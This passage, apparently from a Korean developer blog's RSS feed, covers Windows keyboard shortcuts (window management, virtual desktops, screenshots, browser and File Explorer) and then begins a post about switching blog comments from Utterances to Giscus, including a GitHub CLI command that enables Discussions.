&lt;td&gt;이모지, 특수문자, 가오모지 입력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + 숫자(1~9)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;작업표시줄 앱 실행&lt;/td&gt;
&lt;td&gt;1번째~9번째 고정 앱 바로 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;창(Window) 관리 단축키&lt;/h3&gt;
&lt;p&gt;멀티태스킹의 핵심입니다. 이 단축키들을 익히면 마우스로 창을 드래그할 일이 거의 없어집니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단축키&lt;/th&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + ←&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;Win + →&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;창을 화면 왼쪽/오른쪽 반으로 스냅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + ↑&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;창 최대화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + ↓&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;창 최소화 (최대화 상태면 원래 크기로)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;스냅 레이아웃 선택 (Windows 11)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + D&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;바탕화면 보기/복귀&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + M&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;모든 창 최소화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + Home&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;현재 창 제외 모두 최소화 (설정에서 제목 표시줄 흔들기 활성화 필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Alt + Tab&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;열린 창 간 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Alt + F4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;현재 창/프로그램 닫기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + Tab&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;작업 보기 (가상 데스크톱 포함)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;가상 데스크톱 단축키 — 모니터 하나로도 충분합니다&lt;/h2&gt;
&lt;p&gt;윈도우 11의 가상 데스크톱 기능은 모니터가 하나뿐인 환경에서 특히 유용합니다. 업무용 데스크톱, 개인용 데스크톱을 분리해서 사용해보세요.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단축키&lt;/th&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + Ctrl + D&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;새 가상 데스크톱 만들기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + Ctrl + ←&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;→&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;데스크톱 간 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + Ctrl + F4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;현재 가상 데스크톱 닫기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + Tab&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;전체 데스크톱 &amp;#x26; 창 보기&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;저는 데스크톱 1번에 업무(슬랙, 이메일), 2번에 개발(VS Code, 터미널), 3번에 참고자료(브라우저)를 배치합니다. &lt;code class=&quot;language-text&quot;&gt;Win + Ctrl + ←/→&lt;/code&gt;로 순식간에 전환하니까, 듀얼 모니터 부럽지 않습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;스크린샷 &amp;#x26; 클립보드 단축키 — 자료 정리의 필수 기능&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단축키&lt;/th&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + Shift + S&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;화면 캡처 (영역 선택)&lt;/td&gt;
&lt;td&gt;가장 많이 쓰는 스크린샷 방법&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;PrtScn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;전체 화면 캡처&lt;/td&gt;
&lt;td&gt;클립보드에 복사&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + PrtScn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;전체 화면 캡처 후 자동 저장&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;사진/스크린샷&lt;/code&gt; 폴더에 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + V&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;클립보드 히스토리&lt;/td&gt;
&lt;td&gt;이전에 복사한 내용 목록에서 선택&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Win + V&lt;/code&gt;는 처음 사용 시 활성화가 필요합니다. 한 번 켜두면 복사 이력이 쌓이기 때문에, &quot;아까 복사한 거 어디 갔지?&quot; 하는 상황이 사라집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;브라우저 단축키 — 크롬, 엣지 공통&lt;/h2&gt;
&lt;p&gt;웹 브라우저에서의 단축키도 업무 속도에 큰 영향을 줍니다. 크롬과 엣지 모두 동일하게 작동합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단축키&lt;/th&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + T&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;새 탭 열기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + W&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;현재 탭 닫기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + Shift + T&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;닫은 탭 다시 열기 (최대 10개)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + Tab&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;다음 탭으로 이동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + Shift + Tab&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;이전 탭으로 이동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + L&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;주소창 포커스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + 숫자(1~8)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;해당 번째 탭으로 이동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + 9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;마지막 탭으로 이동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;F5&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;Ctrl + R&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;새로고침&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + Shift + Delete&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;인터넷 사용 기록 삭제&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;특히 &lt;code class=&quot;language-text&quot;&gt;Ctrl + Shift + T&lt;/code&gt;는 실수로 탭을 닫았을 때 정말 유용합니다. 직접 써보면 &quot;이걸 왜 이제 알았지?&quot; 하게 됩니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;파일 탐색기 단축키 — 파일 관리가 빨라집니다&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단축키&lt;/th&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;새 탐색기 창 열기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + Shift + N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;새 폴더 만들기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Alt + ←&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;→&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;뒤로/앞으로 이동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Alt + ↑&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;상위 폴더로 이동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Alt + D&lt;/code&gt; 또는 &lt;code class=&quot;language-text&quot;&gt;Ctrl + L&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;경로 표시줄 포커스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Alt + Enter&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;선택한 항목의 속성 보기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;F2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;이름 바꾸기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;F5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;새로고침&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;팁:&lt;/strong&gt; 파일 탐색기 상단의 커맨드 바는 선택한 파일 유형에 따라 관련 작업(복사, 이동, 압축 해제 등) 아이콘이 자동으로 바뀝니다. &lt;code class=&quot;language-text&quot;&gt;Alt&lt;/code&gt; 키를 누르면 키보드로 각 메뉴에 접근할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;개발자를 위한 윈도우 단축키 추가 팁&lt;/h2&gt;
&lt;p&gt;개발자라면 아래 단축키도 함께 익혀두면 좋습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단축키&lt;/th&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + `&lt;/code&gt; (백틱)&lt;/td&gt;
&lt;td&gt;Windows 터미널 Quake 모드 (터미널 앱 설치 필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + Shift + Esc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;작업 관리자 바로 열기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + Pause&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;시스템 정보 (설정 &gt; 정보 페이지로 이동)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + G&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Xbox Game Bar (화면 녹화)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + Shift + V&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;서식 없이 붙여넣기 (브라우저, VS Code 등 지원 앱에서만 동작)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Win + `&lt;/code&gt;은 Windows 터미널의 &lt;strong&gt;Quake 모드&lt;/strong&gt;로, 화면 상단에 터미널이 슬라이드로 나타납니다. Windows 터미널이 설치되어 있어야 동작합니다. &lt;code class=&quot;language-text&quot;&gt;Ctrl + Shift + V&lt;/code&gt;는 OS 기본 단축키가 아니라 앱별 지원 기능이지만, 크롬·엣지·VS Code 등 개발자가 주로 쓰는 앱에서는 대부분 동작합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;윈도우 단축키 빠르게 익히는 3단계 방법&lt;/h2&gt;
&lt;p&gt;단축키를 한꺼번에 외우려고 하면 오히려 역효과입니다. 아래 방법을 추천합니다.&lt;/p&gt;
&lt;h3&gt;1단계: 5개만 먼저 (1주차)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;Win + E&lt;/code&gt; (탐색기), &lt;code class=&quot;language-text&quot;&gt;Win + L&lt;/code&gt; (잠금), &lt;code class=&quot;language-text&quot;&gt;Win + D&lt;/code&gt; (바탕화면)&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;Win + Shift + S&lt;/code&gt; (캡처), &lt;code class=&quot;language-text&quot;&gt;Win + V&lt;/code&gt; (클립보드)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2단계: 창 관리 추가 (2주차)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;Win + ←/→&lt;/code&gt; (스냅), &lt;code class=&quot;language-text&quot;&gt;Alt + Tab&lt;/code&gt; (창 전환)&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;Win + Tab&lt;/code&gt; (작업 보기), &lt;code class=&quot;language-text&quot;&gt;Win + Ctrl + D&lt;/code&gt; (가상 데스크톱)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3단계: 브라우저 &amp;#x26; 탐색기 (3주차)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + W/T/Shift+T&lt;/code&gt; (탭 관리)&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + Shift + N&lt;/code&gt; (새 폴더), &lt;code class=&quot;language-text&quot;&gt;Alt + ←&lt;/code&gt; (뒤로)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;핵심은 &lt;strong&gt;한 번에 많이 외우는 것이 아니라, 매일 쓰는 동작부터 바꾸는 것&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;윈도우 단축키 한 장 요약표&lt;/h2&gt;
&lt;p&gt;가장 활용도 높은 단축키만 한 장으로 정리했습니다. 모니터 옆에 붙여두고 쓰세요.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;카테고리&lt;/th&gt;
&lt;th&gt;단축키&lt;/th&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;필수&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + C/X/V/Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;복사/잘라내기/붙여넣기/취소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시스템&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + E&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;파일 탐색기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시스템&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + I&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시스템&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + L&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;화면 잠금&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;창 관리&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + ←/→&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;화면 분할&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;창 관리&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Alt + Tab&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;창 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;창 관리&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + D&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;바탕화면&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;캡처&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + Shift + S&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;영역 캡처&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;클립보드&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + V&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;클립보드 히스토리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;가상 데스크톱&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + Ctrl + D&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;새 데스크톱&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;가상 데스크톱&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Win + Ctrl + ←/→&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;데스크톱 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;브라우저&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + T/W&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;새 탭/탭 닫기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;브라우저&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl + Shift + T&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;닫은 탭 복구&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q. 윈도우 단축키가 안 먹힐 때는 어떻게 하나요?&lt;/h3&gt;
&lt;p&gt;일부 단축키는 특정 앱이 포커스를 가로채면 동작하지 않을 수 있습니다. &lt;code class=&quot;language-text&quot;&gt;Win + D&lt;/code&gt;로 바탕화면으로 나간 뒤 다시 시도하거나, 게임 모드가 활성화되어 있다면 &lt;code class=&quot;language-text&quot;&gt;Win + G&lt;/code&gt;에서 게임 모드를 꺼보세요. 키보드 드라이버 문제일 수도 있으니, 설정 &gt; 접근성 &gt; 키보드에서 고정 키, 필터 키가 꺼져 있는지 확인하세요.&lt;/p&gt;
&lt;h3&gt;Q. 윈도우 10과 11의 단축키 차이가 있나요?&lt;/h3&gt;
&lt;p&gt;대부분의 단축키는 동일합니다. 윈도우 11에서 새로 추가된 주요 단축키는 &lt;code class=&quot;language-text&quot;&gt;Win + Z&lt;/code&gt;(스냅 레이아웃), &lt;code class=&quot;language-text&quot;&gt;Win + C&lt;/code&gt;(Copilot 실행), &lt;code class=&quot;language-text&quot;&gt;Win + W&lt;/code&gt;(위젯) 등이 있습니다.&lt;/p&gt;
&lt;h3&gt;Q. 자주 쓰는 프로그램에 나만의 단축키를 지정할 수 있나요?&lt;/h3&gt;
&lt;p&gt;네, 가능합니다. 프로그램의 바로가기 아이콘을 우클릭 → 속성 → &quot;바로 가기 키&quot; 항목에 원하는 키 조합을 입력하면 됩니다. &lt;code class=&quot;language-text&quot;&gt;Ctrl + Alt + 원하는 키&lt;/code&gt; 형태로 지정할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;오늘 소개한 단축키 중 &lt;strong&gt;하나만이라도 오늘부터 써보세요.&lt;/strong&gt; 1주일이면 손에 붙고, 한 달이면 마우스 없이도 대부분의 작업이 가능해집니다.&lt;/p&gt;
&lt;p&gt;더 자세한 전체 단축키 목록은 &lt;a href=&quot;https://support.microsoft.com/ko-kr/windows/keyboard-shortcuts-in-windows-dcc61a57-8ff0-cffe-9796-cb9706c75eec&quot;&gt;Microsoft 공식 키보드 단축키 문서&lt;/a&gt;에서 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;여러분이 가장 자주 쓰는 윈도우 단축키는 뭔가요? 댓글로 알려주세요!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[블로그 댓글을 Utterances에서 Giscus로 전환한 이유와 방법]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "블로그 댓글 시스템, Utterances 쓰고 있는데 굳이 바꿔야 하나요?" 저도 그렇게 생각했습니다. Utterances는 가볍고 깔끔하니까요. 하지만 직접 Giscus…]]></description><link>https://blog.javapark.kr/utterances-to-giscus/</link><guid isPermaLink="false">https://blog.javapark.kr/utterances-to-giscus/</guid><pubDate>Sat, 04 Apr 2026 20:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;블로그 댓글 시스템, Utterances 쓰고 있는데 굳이 바꿔야 하나요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;저도 그렇게 생각했습니다. Utterances는 가볍고 깔끔하니까요. 하지만 직접 Giscus로 전환해보니 — &lt;strong&gt;대댓글, 포스트 리액션, 실시간 다크모드 전환&lt;/strong&gt;까지, 체감 차이가 확실했습니다.&lt;/p&gt;
&lt;p&gt;이 글에서는 왜 전환했는지, 어떻게 전환했는지, 실제 코드까지 공유합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Utterances vs Giscus — 뭐가 다른가&lt;/h2&gt;
&lt;p&gt;둘 다 GitHub 기반 무료 댓글 시스템이지만, 저장 방식이 다릅니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;Utterances&lt;/th&gt;
&lt;th&gt;Giscus&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;저장소&lt;/td&gt;
&lt;td&gt;GitHub &lt;strong&gt;Issues&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GitHub &lt;strong&gt;Discussions&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;대댓글&lt;/td&gt;
&lt;td&gt;불가 (일렬 나열)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;스레드 지원&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;포스트 리액션&lt;/td&gt;
&lt;td&gt;댓글에만 리액션&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;포스트 자체에 리액션&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;다크모드&lt;/td&gt;
&lt;td&gt;테마별 컴포넌트 2개 필요&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;실시간 테마 전환&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;언어&lt;/td&gt;
&lt;td&gt;영어&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;한국어 포함 다국어&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;개발 상태&lt;/td&gt;
&lt;td&gt;유지보수 모드&lt;/td&gt;
&lt;td&gt;활발한 개발 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;비용&lt;/td&gt;
&lt;td&gt;무료&lt;/td&gt;
&lt;td&gt;무료&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;왜 전환했나&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;대댓글이 안 됨&lt;/strong&gt; — Utterances는 모든 댓글이 일렬로 나열됩니다. 대화가 길어지면 누가 누구에게 답한 건지 알기 어렵습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;다크모드 코드가 지저분함&lt;/strong&gt; — Utterances는 테마 변경 시 컴포넌트를 다시 렌더링해야 해서, light/dark 두 개의 Utterances를 숨기고 보여주는 트릭이 필요했습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;리액션 기능&lt;/strong&gt; — Giscus는 포스트 자체에 리액션을 달 수 있어서, 댓글을 쓰지 않아도 독자의 반응을 확인할 수 있습니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;전환 과정 — 5단계로 끝&lt;/h2&gt;
&lt;h3&gt;1단계: GitHub Discussions 활성화&lt;/h3&gt;
&lt;p&gt;GitHub 레포 → Settings → Features → &lt;strong&gt;Discussions 체크&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# GitHub CLI로도 가능합니다&lt;/span&gt;
gh api repos/username/repo &lt;span class=&quot;token parameter variable&quot;&gt;-X&lt;/span&gt; PATCH &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;has_discussions&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;true&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2단계: Giscus 앱 설치&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/apps/giscus&quot;&gt;github.com/apps/giscus&lt;/a&gt;에서 Install → 레포 선택&lt;/p&gt;
&lt;h3&gt;3단계: Giscus 설정값 확인&lt;/h3&gt;
